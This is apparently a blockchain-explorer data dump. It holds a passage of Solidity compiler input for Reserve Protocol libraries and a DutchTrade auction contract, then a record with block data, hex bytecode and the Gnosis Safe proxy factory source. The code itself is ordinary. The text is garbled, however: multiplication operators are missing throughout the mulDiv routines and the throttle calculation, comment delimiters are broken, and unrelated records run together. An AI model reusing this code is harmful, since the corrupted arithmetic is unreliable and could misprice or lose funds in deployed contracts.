- FIX_ONE + 1\n // therefore shiftDelta overflows if:\n // C) b = (MAX_UINT256 - FIX_ONE + 1) / a\n // MAX_UINT256 ~= 1e77 , FIX_MAX ~= 6e57 (6e20 difference in magnitude)\n // a <= 1e21 (MAX_TARGET_AMT)\n // a must be between 1e19 & 1e20 in order for b in (C) to be uint192,\n // but a would have to be < 1e18 in order for (A) to overflow\n if (shiftDelta < rawDelta) return FIX_MAX;\n\n // return FIX_MAX if return result would truncate\n if (shiftDelta / FIX_ONE > FIX_MAX) return FIX_MAX;\n\n // return _div(rawDelta, FIX_ONE, rounding)\n return uint192(shiftDelta / FIX_ONE); // {D18} = {D36} / {D18}\n }\n }\n\n /// Divide two fixes, rounding up to FIX_MAX and down to 0\n /// @param a Numerator\n /// @param b Denominator\n function safeDiv(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n if (a == 0) return 0;\n if (b == 0) return FIX_MAX;\n\n uint256 raw = _divrnd(FIX_ONE_256 * a, uint256(b), rounding);\n if (raw >= FIX_MAX) return FIX_MAX;\n return uint192(raw); // don't need _safeWrap\n }\n\n /// Multiplies two fixes and divide by a third\n /// @param a First to multiply\n /// @param b Second to multiply\n /// @param c Denominator\n function safeMulDiv(\n uint192 a,\n uint192 b,\n uint192 c,\n RoundingMode rounding\n ) internal pure returns (uint192 result) {\n if (a == 0 \|\| b == 0) return 0;\n if (a == FIX_MAX \|\| b == FIX_MAX \|\| c == 0) return FIX_MAX;\n\n uint256 result_256;\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(a, b);\n if (hi >= c) return FIX_MAX;\n uint256 mm = mulmod(a, b, c);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = c & (0 - c);\n\n uint256 c_256 = uint256(c);\n // Warning: Should not access c below this line\n\n c_256 /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n r = 2 - c_256 r;\n result_256 = lo * r;\n\n // Apply rounding\n if (rounding == CEIL) {\n if (mm > 0) result_256 += 1;\n } else if (rounding == ROUND) {\n if (mm > ((c_256 - 1) / 2)) result_256 += 1;\n }\n }\n\n if (result_256 >= FIX_MAX) return FIX_MAX;\n return uint192(result_256);\n }\n}\n\n// ================ a couple pure-uint helpers================\n// as-ints comments are omitted here, because they're the same as @return statements, because\n// these are all pure uint functions\n\n/// Return (xy/z), avoiding intermediate overflow.\n// Adapted from sources:\n// https://medium.com/coinmonks/4db014e080b1, https://medium.com/wicketh/afa55870a65\n// and quite a few of the other excellent \"Mathemagic\" posts from https://medium.com/wicketh\n/// @dev Only use if you need to avoid overflow; costlier than x y / z\n/// @return result x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z\n) pure returns (uint256 result) {\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(x, y);\n if (hi >= z) revert UIntOutOfBounds();\n uint256 mm = mulmod(x, y, z);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = z & (0 - z);\n z /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n r = 2 - z r;\n result = lo * r;\n }\n}\n\n/// Return (xy/z), avoiding intermediate overflow.\n/// @dev Only use if you need to avoid overflow; costlier than x y / z\n/// @return x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = mulDiv256(x, y, z);\n if (rounding == FLOOR) return result;\n\n uint256 mm = mulmod(x, y, z);\n if (rounding == CEIL) {\n if (mm > 0) result += 1;\n } else {\n if (mm > ((z - 1) / 2)) result += 1; // z should be z-1\n }\n return result;\n}\n\n/// Return (xy) as a \"virtual uint512\" (lo, hi), representing (hi2*256 + lo)\n/// Adapted from sources:\n/// https://medium.com/wicketh/27650fec525d, https://medium.com/coinmonks/4db014e080b1\n/// @dev Intended to be internal to this library\n/// @return hi (hi, lo) satisfies hi(2*256) + lo == x y\n/// @return lo (paired with `hi`)\nfunction fullMul(uint256 x, uint256 y) pure returns (uint256 hi, uint256 lo) {\n unchecked {\n uint256 mm = mulmod(x, y, uint256(0) - uint256(1));\n lo = x * y;\n hi = mm - lo;\n if (mm < lo) hi -= 1;\n }\n}\n// slither-disable-end divide-before-multiply\n" }, "contracts/libraries/NetworkConfigLib.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\n/*\n @title NetworkConfigLib\n * @notice Provides network-specific configuration parameters\n /\nlibrary NetworkConfigLib {\n error InvalidNetwork();\n\n // Returns the blocktime based on the current network (e.g. 12s for Ethereum PoS)\n // See docs/system-design.md for discussion of handling longer or shorter times\n function blocktime() internal view returns (uint48) {\n uint256 chainId = block.chainid;\n // untestable:\n // most of the branches will be shown as uncovered, because we only run coverage\n // on local Ethereum PoS network (31337). Manual testing was performed.\n if (chainId == 1 \|\| chainId == 3 \|\| chainId == 5 \|\| chainId == 31337) {\n return 12; // Ethereum PoS, Goerli, HH (tests)\n } else if (chainId == 8453 \|\| chainId == 84531) {\n return 2; // Base, Base Goerli\n } else {\n revert InvalidNetwork();\n }\n }\n}\n" }, "contracts/libraries/Throttle.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./Fixed.sol\";\n\nuint48 constant ONE_HOUR = 3600; // {seconds/hour}\n\n/\n @title ThrottleLib\n * A library that implements a usage throttle that can be used to ensure net issuance\n * or net redemption for an RToken never exceeds some bounds per unit time (hour).\n \n It is expected for the RToken to use this library with two instances, one for issuance\n * and one for redemption. Issuance causes the available redemption amount to increase, and\n * visa versa.\n /\nlibrary ThrottleLib {\n using FixLib for uint192;\n\n struct Params {\n uint256 amtRate; // {qRTok/hour} a quantity of RToken hourly; cannot be 0\n uint192 pctRate; // {1/hour} a fraction of RToken hourly; can be 0\n }\n\n struct Throttle {\n // === Gov params ===\n Params params;\n // === Cache ===\n uint48 lastTimestamp; // {seconds}\n uint256 lastAvailable; // {qRTok}\n }\n\n /// Reverts if usage amount exceeds available amount\n /// @param supply {qRTok} Total RToken supply beforehand\n /// @param amount {qRTok} Amount of RToken to use. Should be negative for the issuance\n /// throttle during redemption and for the redemption throttle during issuance.\n function useAvailable(\n Throttle storage throttle,\n uint256 supply,\n int256 amount\n ) internal {\n // untestable: amtRate will always be greater > 0 due to previous validations\n if (throttle.params.amtRate == 0 && throttle.params.pctRate == 0) return;\n\n // Calculate hourly limit\n uint256 limit = hourlyLimit(throttle, supply); // {qRTok}\n\n // Calculate available amount before supply change\n uint256 available = currentlyAvailable(throttle, limit);\n\n // Update throttle.timestamp if available amount changed or at limit\n if (available != throttle.lastAvailable \|\| available == limit) {\n throttle.lastTimestamp = uint48(block.timestamp);\n }\n\n // Update throttle.lastAvailable\n if (amount > 0) {\n require(uint256(amount) <= available, \"supply change throttled\");\n available -= uint256(amount);\n // untestable: the final else statement, amount will never be 0\n } else if (amount < 0) {\n available += uint256(-amount);\n }\n throttle.lastAvailable = available;\n }\n\n /// @param limit {qRTok/hour} The hourly limit\n /// @return available {qRTok} Amount currently available for consumption\n function currentlyAvailable(Throttle storage throttle, uint256 limit)\n internal\n view\n returns (uint256 available)\n {\n uint48 delta = uint48(block.timestamp) - throttle.lastTimestamp; // {seconds}\n available = throttle.lastAvailable + (limit delta) / ONE_HOUR;\n if (available > limit) available = limit;\n }\n\n /// @return limit {qRTok} The hourly limit\n function hourlyLimit(Throttle storage throttle, uint256 supply)\n internal\n view\n returns (uint256 limit)\n {\n Params storage params = throttle.params;\n\n // Calculate hourly limit as: max(params.amtRate, supply.mul(params.pctRate))\n limit = (supply * params.pctRate) / FIX_ONE_256; // {qRTok}\n if (params.amtRate > limit) limit = params.amtRate;\n }\n}\n" }, "contracts/mixins/Versioned.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../interfaces/IVersioned.sol\";\n\n// This value should be updated on each release\nstring constant VERSION = \"3.3.0\";\n\n/*\n @title Versioned\n * @notice A mix-in to track semantic versioning uniformly across contracts.\n /\nabstract contract Versioned is IVersioned {\n function version() public pure virtual override returns (string memory) {\n return VERSION;\n }\n}\n" }, "contracts/plugins/trading/DutchTrade.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../../libraries/Fixed.sol\";\nimport \"../../libraries/NetworkConfigLib.sol\";\nimport \"../../interfaces/IAsset.sol\";\nimport \"../../interfaces/IBroker.sol\";\nimport \"../../interfaces/ITrade.sol\";\nimport \"../../mixins/Versioned.sol\";\n\ninterface IDutchTradeCallee {\n function dutchTradeCallback(\n address buyToken,\n // {qBuyTok}\n uint256 buyAmount,\n bytes calldata data\n ) external;\n}\n\nenum BidType {\n NONE,\n CALLBACK,\n TRANSFER\n}\n\n// A dutch auction in 4 parts:\n// 1. 0% - 20%: Geometric decay from 1000x the bestPrice to ~1.5x the bestPrice\n// 2. 20% - 45%: Linear decay from ~1.5x the bestPrice to the bestPrice\n// 3. 45% - 95%: Linear decay from the bestPrice to the worstPrice\n// 4. 95% - 100%: Constant at the worstPrice\n//\n// For a trade between 2 assets with 1% oracleError:\n// A 30-minute auction on a chain with a 12-second blocktime has a ~20% price drop per block\n// during the 1st period, ~0.8% during the 2nd period, and ~0.065% during the 3rd period.\n//\n// 30-minutes is the recommended length of auction for a chain with 12-second blocktimes.\n// 6 minutes, 7.5 minutes, 15 minutes, 1.5 minutes for each pariod respectively.\n//\n// Longer and shorter times can be used as well. The pricing method does not degrade\n// beyond the degree to which less overall blocktime means less overall precision.\n\nuint192 constant FIVE_PERCENT = 5e16; // {1} 0.05\nuint192 constant TWENTY_PERCENT = 20e16; // {1} 0.2\nuint192 constant TWENTY_FIVE_PERCENT = 25e16; // {1} 0.25\nuint192 constant FORTY_FIVE_PERCENT = 45e16; // {1} 0.45\nuint192 constant FIFTY_PERCENT = 50e16; // {1} 0.5\nuint192 constant NINETY_FIVE_PERCENT = 95e16; // {1} 0.95\n\nuint192 constant MAX_EXP = 6502287e18; // {1} (1000000/999999)^6502287 = ~666.6667\nuint192 constant BASE = 999999e12; // {1} (999999/1000000)\nuint192 constant ONE_POINT_FIVE = 150e16; // {1} 1.5\n\n/\n @title DutchTrade\n * @notice Implements a wholesale dutch auction via a 4-piecewise falling-price mechansim.\n * The overall idea is to handle 4 cases:\n * 1. Price manipulation of the exchange rate up to 1000x (eg: via a read-only reentrancy)\n * 2. Price movement of up to 50% during the auction\n * 3. Typical case: no significant price movement; clearing price within expected range\n * 4. No bots online; manual human doing bidding; additional time for tx clearing\n \n Case 1: Over the first 20% of the auction the price falls from ~1000x the best plausible\n * price down to 1.5x the best plausible price in a geometric series.\n * This period DOES NOT expect to receive a bid; it just defends against manipulated prices.\n * If a bid occurs during this period, a violation is reported to the Broker.\n * This is still safe for the protocol since other trades, with price discovery, can occur.\n \n Case 2: Over the next 20% of the auction the price falls from 1.5x the best plausible price\n * to the best plausible price, linearly. No violation is reported if a bid occurs. This case\n * exists to handle cases where prices change after the auction is started, naturally.\n \n Case 3: Over the next 50% of the auction the price falls from the best plausible price to the\n * worst price, linearly. The worst price is further discounted by the maxTradeSlippage.\n * This is the phase of the auction where bids will typically occur.\n \n Case 4: Lastly the price stays at the worst price for the final 5% of the auction to allow\n * a bid to occur if no bots are online and the only bidders are humans.\n \n To bid:\n * 1. Call `bidAmount()` view to check prices at various blocks.\n * 2. Provide approval of sell tokens for precisely the `bidAmount()` desired\n * 3. Wait until the desired block is reached (hopefully not in the first 20% of the auction)\n * 4. Call bid()\n /\ncontract DutchTrade is ITrade, Versioned {\n using FixLib for uint192;\n using SafeERC20 for IERC20Metadata;\n\n TradeKind public constant KIND = TradeKind.DUTCH_AUCTION;\n\n // solhint-disable-next-line var-name-mixedcase\n uint48 public immutable ONE_BLOCK; // {s} 1 block based on network\n\n BidType public bidType; // = BidType.NONE\n\n TradeStatus public status; // reentrancy protection\n\n IBroker public broker; // The Broker that cloned this contract into existence\n ITrading public origin; // the address that initialized the contract\n\n // === Auction ===\n IERC20Metadata public sell;\n IERC20Metadata public buy;\n uint192 public sellAmount; // {sellTok}\n\n // The auction runs from [startBlock, endTime], inclusive\n uint256 public startBlock; // {block} when the dutch auction begins (one block after init())\n uint256 public endBlock; // {block} when the dutch auction ends if no bids are received\n uint48 public endTime; // {s} not used in this contract; needed on interface\n\n uint192 public bestPrice; // {buyTok/sellTok} The best plausible price based on oracle data\n uint192 public worstPrice; // {buyTok/sellTok} The worst plausible price based on oracle data\n\n // === Bid ===\n address public bidder;\n // the bid amount is just whatever token balance is in the contract at settlement time\n\n // This modifier both enforces the state-machine pattern and guards against reentrancy.\n modifier stateTransition(TradeStatus begin, TradeStatus end) {\n require(status == begin, \"Invalid trade state\");\n status = TradeStatus.PENDING;\n _;\n assert(status == TradeStatus.PENDING);\n status = end;\n }\n\n // === Auction Sizing Views ===\n\n /// @return {qSellTok} The size of the lot being sold, in token quanta\n function lot() public view returns (uint256) {\n return sellAmount.shiftl_toUint(int8(sell.decimals()));\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular block\n /// @param blockNumber {block} The block number of the bid\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function bidAmount(uint256 blockNumber) external view returns (uint256) {\n return _bidAmount(_price(blockNumber));\n }\n\n // ==== Constructor ===\n\n constructor() {\n ONE_BLOCK = NetworkConfigLib.blocktime();\n\n status = TradeStatus.CLOSED;\n }\n\n // === External ===\n\n /// @param origin_ The Trader that originated the trade\n /// @param sell_ The asset being sold by the protocol\n /// @param buy_ The asset being bought by the protocol\n /// @param sellAmount_ {qSellTok} The amount to sell in the auction, in token quanta\n /// @param auctionLength {s} How many seconds the dutch auction should run for\n function init(\n ITrading origin_,\n IAsset sell_,\n IAsset buy_,\n uint256 sellAmount_,\n uint48 auctionLength,\n TradePrices memory prices\n ) external stateTransition(TradeStatus.NOT_STARTED, TradeStatus.OPEN) {\n assert(\n address(sell_) != address(0) &&\n address(buy_) != address(0) &&\n auctionLength >= 20 ONE_BLOCK\n ); // misuse by caller\n\n // Only start dutch auctions under well-defined prices\n require(prices.sellLow != 0 && prices.sellHigh < FIX_MAX / 1000, \"bad sell pricing\");\n require(prices.buyLow != 0 && prices.buyHigh < FIX_MAX / 1000, \"bad buy pricing\");\n\n broker = IBroker(msg.sender);\n origin = origin_;\n sell = sell_.erc20();\n buy = buy_.erc20();\n\n require(sellAmount_ <= sell.balanceOf(address(this)), \"unfunded trade\");\n sellAmount = shiftl_toFix(sellAmount_, -int8(sell.decimals())); // {sellTok}\n\n uint256 _startBlock = block.number + 1; // start in the next block\n startBlock = _startBlock; // gas-saver\n\n uint256 _endBlock = _startBlock + auctionLength / ONE_BLOCK; // FLOOR; endBlock is inclusive\n endBlock = _endBlock; // gas-saver\n\n endTime = uint48(block.timestamp + ONE_BLOCK * (_endBlock - _startBlock + 1));\n\n // {buyTok/sellTok} = {UoA/sellTok} * {1} / {UoA/buyTok}\n uint192 _worstPrice = prices.sellLow.mulDiv(\n FIX_ONE - origin.maxTradeSlippage(),\n prices.buyHigh,\n FLOOR\n );\n uint192 _bestPrice = prices.sellHigh.div(prices.buyLow, CEIL); // no additional slippage\n assert(_worstPrice <= _bestPrice);\n worstPrice = _worstPrice; // gas-saver\n bestPrice = _bestPrice; // gas-saver\n }\n\n /// Bid for the auction lot at the current price; settle trade in protocol\n /// @dev Caller must have provided approval\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bid() external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.TRANSFER;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer in buy tokens from bidder\n buy.safeTransferFrom(msg.sender, address(this), amountIn);\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Bid with callback for the auction lot at the current price; settle trade in protocol\n /// Sold funds are sent back to the callee first via callee.dutchTradeCallback(...)\n /// Balance of buy token must increase by bidAmount(current block) after callback\n ///\n /// @dev Caller must implement IDutchTradeCallee\n /// @param data {bytes} The data to pass to the callback\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.CALLBACK;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer sell tokens to bidder\n sell.safeTransfer(bidder, lot()); // {qSellTok}\n\n uint256 balanceBefore = buy.balanceOf(address(this)); // {qBuyTok}\n IDutchTradeCallee(bidder).dutchTradeCallback(address(buy), amountIn, data);\n require(\n amountIn <= buy.balanceOf(address(this)) - balanceBefore,\n \"insufficient buy tokens\"\n );\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Settle the auction, emptying the contract of balances\n /// @return soldAmt {qSellTok} Token quantity sold by the protocol\n /// @return boughtAmt {qBuyTok} Token quantity purchased by the protocol\n function settle()\n external\n stateTransition(TradeStatus.OPEN, TradeStatus.CLOSED)\n returns (uint256 soldAmt, uint256 boughtAmt)\n {\n require(msg.sender == address(origin), \"only origin can settle\");\n require(bidder != address(0) \|\| block.number > endBlock, \"auction not over\");\n\n if (bidType == BidType.CALLBACK) {\n soldAmt = lot(); // {qSellTok}\n } else if (bidType == BidType.TRANSFER) {\n soldAmt = lot(); // {qSellTok}\n sell.safeTransfer(bidder, soldAmt); // {qSellTok}\n }\n\n // Transfer remaining balances back to origin\n boughtAmt = buy.balanceOf(address(this)); // {qBuyTok}\n buy.safeTransfer(address(origin), boughtAmt); // {qBuyTok}\n sell.safeTransfer(address(origin), sell.balanceOf(address(this))); // {qSellTok}\n }\n\n /// Anyone can transfer any ERC20 back to the origin after the trade has been closed\n /// @dev Escape hatch in case of accidentally transferred tokens after auction end\n /// @custom:interaction CEI (and respects the state lock)\n function transferToOriginAfterTradeComplete(IERC20Metadata erc20) external {\n require(status == TradeStatus.CLOSED, \"only after trade is closed\");\n erc20.safeTransfer(address(origin), erc20.balanceOf(address(this)));\n }\n\n /// @return true iff the trade can be settled.\n // Guaranteed to be true some time after init(), until settle() is called\n function canSettle() external view returns (bool) {\n return status == TradeStatus.OPEN && (bidder != address(0) \|\| block.number > endBlock);\n }\n\n // === Private ===\n\n /// Return the price of the auction at a particular timestamp\n /// @param blockNumber {block} The block number to get price for\n /// @return {buyTok/sellTok}\n function _price(uint256 blockNumber) private view returns (uint192) {\n uint256 _startBlock = startBlock; // gas savings\n uint256 _endBlock = endBlock; // gas savings\n require(blockNumber >= _startBlock, \"auction not started\");\n require(blockNumber <= _endBlock, \"auction over\");\n\n /// Price Curve:\n /// - first 20%: geometrically decrease the price from 1000x the bestPrice to 1.5x it\n /// - next 25%: linearly decrease the price from 1.5x the bestPrice to 1x it\n /// - next 50%: linearly decrease the price from bestPrice to worstPrice\n /// - last 5%: constant at worstPrice\n\n uint192 progression = divuu(blockNumber - _startBlock, _endBlock - _startBlock); // {1}\n\n // Fast geometric decay -- 0%-20% of auction\n if (progression < TWENTY_PERCENT) {\n uint192 exp = MAX_EXP.mulDiv(TWENTY_PERCENT - progression, TWENTY_PERCENT, ROUND);\n\n // bestPrice * ((1000000/999999) ^ exp) = bestPrice / ((999999/1000000) ^ exp)\n // safe uint48 downcast: exp is at-most 6502287\n // {buyTok/sellTok} = {buyTok/sellTok} / {1} ^ {1}\n return bestPrice.mulDiv(ONE_POINT_FIVE, BASE.powu(uint48(exp.toUint(ROUND))), CEIL);\n // this reverts for bestPrice >= 6.21654046e36 * FIX_ONE\n } else if (progression < FORTY_FIVE_PERCENT) {\n // First linear decay -- 20%-45% of auction\n // 1.5x -> 1x the bestPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n uint192 highPrice = _bestPrice.mul(ONE_POINT_FIVE, CEIL);\n return\n highPrice -\n (highPrice - _bestPrice).mulDiv(progression - TWENTY_PERCENT, TWENTY_FIVE_PERCENT);\n } else if (progression < NINETY_FIVE_PERCENT) {\n // Second linear decay -- 45%-95% of auction\n // bestPrice -> worstPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n return\n _bestPrice -\n (_bestPrice - worstPrice).mulDiv(progression - FORTY_FIVE_PERCENT, FIFTY_PERCENT);\n }\n\n // Constant price -- 95%-100% of auction\n return worstPrice;\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular price\n /// @param price {buyTok/sellTok}\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function _bidAmount(uint192 price) public view returns (uint256) {\n // {qBuyTok} = {sellTok} * {buyTok/sellTok} * {qBuyTok/buyTok}\n return sellAmount.mul(price, CEIL).shiftl_toUint(int8(buy.decimals()), CEIL);\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "": { "": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1	19,499,723	cffa78fb99d7bf1295b54fe1c16e8e8475f2829296c6cffdf174883f7cc1bad7	0a98f22d811f17b04bf5b1679e8e56e1f820698bfd0b69c099f2c47e5d4eee32	133da33b9d72f4fa5d526f37823495e78d0604b2	a6b71e26c5e0845f74c812102ca7114b6a896ab2	4d37877c30f41f8c1fd37feda3149e7af3035b8b	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
